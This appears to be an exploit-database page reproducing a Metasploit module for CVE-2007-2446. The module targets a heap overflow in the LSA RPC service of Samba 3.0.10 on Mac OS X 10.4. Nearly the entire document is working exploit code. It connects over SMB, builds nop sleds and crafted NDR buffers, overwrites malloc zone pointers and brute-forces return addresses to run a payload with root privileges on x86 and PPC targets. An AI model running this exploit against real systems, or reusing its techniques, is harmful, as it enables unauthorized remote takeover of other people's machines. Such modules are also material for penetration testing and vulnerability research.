Samba 3.0.10 (OSX) – ‘lsa_io_trans_names’ Heap Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-04-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16875/
  • ##
    # $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::DCERPC
    	include Msf::Exploit::Remote::SMB
    	include Msf::Exploit::Brute
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Samba lsa_io_trans_names Heap Overflow',
    			'Description'=> %q{
    				This module triggers a heap overflow in the LSA RPC service
    			of the Samba daemon. This module uses the szone_free() to overwrite
    			the size() or free() pointer in initial_malloc_zones structure.
    			},
    			'Author' =>
    				[
    					'ramon',
    					'Adriano Lima <adriano@risesecurity.org>',
    					'hdm'
    				],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 9021 $',
    			'References' =>
    				[
    					['CVE', '2007-2446'],
    					['OSVDB', '34699'],
    				],
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 1024,
    				},
    			'Platform' => 'osx',
    			'DefaultOptions' =>
    				{
    					'PrependSetresuid' => true,
    				},
    			'Targets'=>
    				[
    					['Mac OS X 10.4.x x86 Samba 3.0.10',
    					{
    						'Platform'=> 'osx',
    						'Arch'=> [ ARCH_X86 ],
    						'Nops'=> 4 * 1024,
    						'Bruteforce' =>
    							{
    								'Start' => { 'Ret' => 0x01818000 },
    								'Stop'=> { 'Ret' => 0x01830000 },
    								'Step'=> 3351,
    							},
    					}
    					],
    					['Mac OS X 10.4.x PPC Samba 3.0.10',
    					{
    						'Platform'=> 'osx',
    						'Arch'=> [ ARCH_PPC ],
    						'Nops'=> 1600,
    						'Bruteforce' =>
    							{
    								'Start' => { 'Ret' => 0x01813000 },
    								'Stop'=> { 'Ret' => 0x01830000 },
    								'Step'=> 796,
    							}
    					}
    					],
    					['DEBUG',
    					{
    						'Platform'=> 'osx',
    						'Arch'=> [ ARCH_X86 ],
    						'Nops'=> 4 * 1024,
    						'Bruteforce' =>
    							{
    								'Start' => { 'Ret' => 0xaabbccdd },
    								'Stop'=> { 'Ret' => 0xaabbccdd },
    								'Step'=> 0,
    							}
    					}
    					],
    				],
    			'DisclosureDate' => 'May 14 2007'
    			))
    
    		register_options(
    			[
    				OptString.new('SMBPIPE', [ true,"The pipe name to use", 'LSARPC']),
    			], self.class)
    
    	end
    
    	# Handle a strange byteswapping issue on PPC
    	def ppc_byteswap(addr)
    		data = [addr].pack('N')
    		(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
    	end
    
    	def brute_exploit(target_addrs)
    
    		if(not @nops)
    			if (target['Nops'] > 0)
    				print_status("Creating nop sled....")
    				@nops = make_nops(target['Nops'])
    			else
    				@nops = ''
    			end
    		end
    
    		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
    
    		pipe = datastore['SMBPIPE'].downcase
    
    		print_status("Connecting to the SMB service...")
    		connect()
    		smb_login()
    
    		datastore['DCERPC::fake_bind_multi'] = false
    
    		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
    		print_status("Binding to #{handle} ...")
    		dcerpc_bind(handle)
    		print_status("Bound to #{handle} ...")
    
    		num_entries= 256
    		num_entries2 = 257
    
    		#
    		# First talloc_chunk
    		# 16 bits align
    		# 16 bits sid_name_use
    		# 16 bits uni_str_len
    		# 16 bits uni_max_len
    		# 32 bits buffer
    		# 32 bits domain_idx
    		#
    		buf = (('A' * 16) * num_entries)
    
    		# Padding
    		buf << 'A' * 4
    
    		#
    		# Use the szone_free() to overwrite the size() pointer in
    		# initial_malloc_zones structure.
    		#
    		size_pointer = 0x1800008
    
    		# Initial nops array
    		nops = ''
    
    		# x86
    		if (target.arch.include?(ARCH_X86))
    
    			#
    			# We don't use the size() pointer anymore because it
    			# results in a unexpected behavior when smbd process
    			# is started by launchd.
    			#
    			free_pointer = 0x1800018
    			nop = "\x16"
    
    			#
    			# First talloc_chunk
    			# 16 bits align
    			# 16 bits sid_name_use
    			# 16 bits uni_str_len
    			# 16 bits uni_max_len
    			# 32 bits buffer
    			# 32 bits domain_idx
    			#
    
    			# First nop block
    			buf = ((nop * 16) * num_entries)
    
    			#
    			# A nop block of 0x16 (pushl %ss) and the address of
    			# 0x1800014 results in a jns instruction which when
    			# executed will jump over the address written eight
    			# bytes past our target address by szone_free() (the
    			# sign flag is zero at the moment our target address is
    			# executed).
    			#
    			# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
    			#
    			# This is the output of the sequence of xor operations
    			# 0: 79 23 jns0x25
    			# 2: 96xchgl%eax,%esi
    			# 3: 17popl %ss
    			# 4: 16pushl%ss
    			# 5: 16pushl%ss
    			# 6: 16pushl%ss
    			# 7: 16pushl%ss
    			# 8: 14 00 adcb $0x0,%al
    			# a: 80 01 16addb $0x16,(%ecx)
    			#
    			# This jump is needed because the ecx register does not
    			# point to a valid memory location in free() context
    			# (it is zero).
    			#
    			# The jump will hit our nop block which will be executed
    			# until it reaches the payload.
    			#
    
    			# Padding nops
    			buf << nop * 2
    
    			# Jump over the pointers
    			buf << "\xeb\x08"
    
    			# Pointers
    			buf << [target_addrs['Ret']].pack('V')
    			buf << [free_pointer - 4].pack('V')
    
    			#
    			# We expect to hit this nop block or the one before
    			# the pointers.
    			#
    			buf << nop * (3852 - 8 - payload.encoded.length)
    
    			# Payload
    			buf << payload.encoded
    
    			# Padding nops
    			buf << nop * 1024
    
    			stub = lsa_open_policy(dcerpc)
    
    			stub << NDR.long(0)# num_entries
    			stub << NDR.long(0)# ptr_sid_enum
    			stub << NDR.long(num_entries)# num_entries
    			stub << NDR.long(0x20004)# ptr_trans_names
    			stub << NDR.long(num_entries2) # num_entries2
    			stub << buf
    
    		# PPC
    		else
    
    			#
    			#The first half of the nop sled is an XOR encoded branch
    			#instruction. The second half is a series of unencoded nop
    			#instructions. The result is:
    			#
    			#> This is the decoded branch instruction
    			#0x181c380:bl0x181c6a0
    			#
    			#> The size pointer is written below this
    			#0x181c384:.long 0x1800004
    			#
    			#> Followed by the encoded branch sled
    			#0x181c388:ba0x180365c
    			#[ ... ]
    			#
    			#> The branch lands in the normal nop sled
    			#0x181c6a0:andi. r17,r16,58162
    			#[ ... ]
    			#
    			#> Finally we reach our payload :-)
    			#
    
    			size_pointer = size_pointer - 4
    
    			sled = target['Nops']
    			jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
    			nops = (jump * (sled / 8)) + @nops[0, sled / 8]
    
    			addr_size = ppc_byteswap(size_pointer)
    			addr_ret= ppc_byteswap(target_addrs['Ret'])
    
    			# This oddness is required for PPC
    			buf << [addr_size].pack('N')
    			buf << [addr_ret ].pack('N')[2,2]
    			buf << [addr_ret ].pack('N')
    
    			# Padding
    			buf << "A" * (256 - 10)
    
    			stub = lsa_open_policy(dcerpc)
    
    			stub << NDR.long(0)# num_entries
    			stub << NDR.long(0)# ptr_sid_enum
    			stub << NDR.long(num_entries)# num_entries
    			stub << NDR.long(0x20004)# ptr_trans_names
    			stub << NDR.long(num_entries2) # num_entries2
    			stub << buf
    			stub << nops
    			stub << payload.encoded
    		end
    
    		print_status("Calling the vulnerable function...")
    
    		begin
    			# LsarLookupSids
    			dcerpc.call(0x0f, stub)
    		rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
    			print_status('Server did not respond, this is expected')
    		rescue Rex::Proto::DCERPC::Exceptions::Fault
    			print_error('Server is most likely patched...')
    		rescue => e
    			if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
    				print_status('Server disconnected, this is expected')
    			else
    				print_error("Error: #{e.class}: #{e}")
    			end
    		end
    
    		handler
    		disconnect
    	end
    
    	def lsa_open_policy(dcerpc, server="\\")
    
    		stubdata =
    			# Server
    			NDR.uwstring(server) +
    			# Object Attributes
    				NDR.long(24) + # SIZE
    				NDR.long(0)+ # LSPTR
    				NDR.long(0)+ # NAME
    				NDR.long(0)+ # ATTRS
    				NDR.long(0)+ # SEC DES
    					# LSA QOS PTR
    					NDR.long(1)+ # Referent
    					NDR.long(12) + # Length
    					NDR.long(2)+ # Impersonation
    					NDR.long(1)+ # Context Tracking
    					NDR.long(0)+ # Effective Only
    			# Access Mask
    			NDR.long(0x02000000)
    
    		res = dcerpc.call(6, stubdata)
    
    		dcerpc.last_response.stub_data[0,20]
    	end
    
    end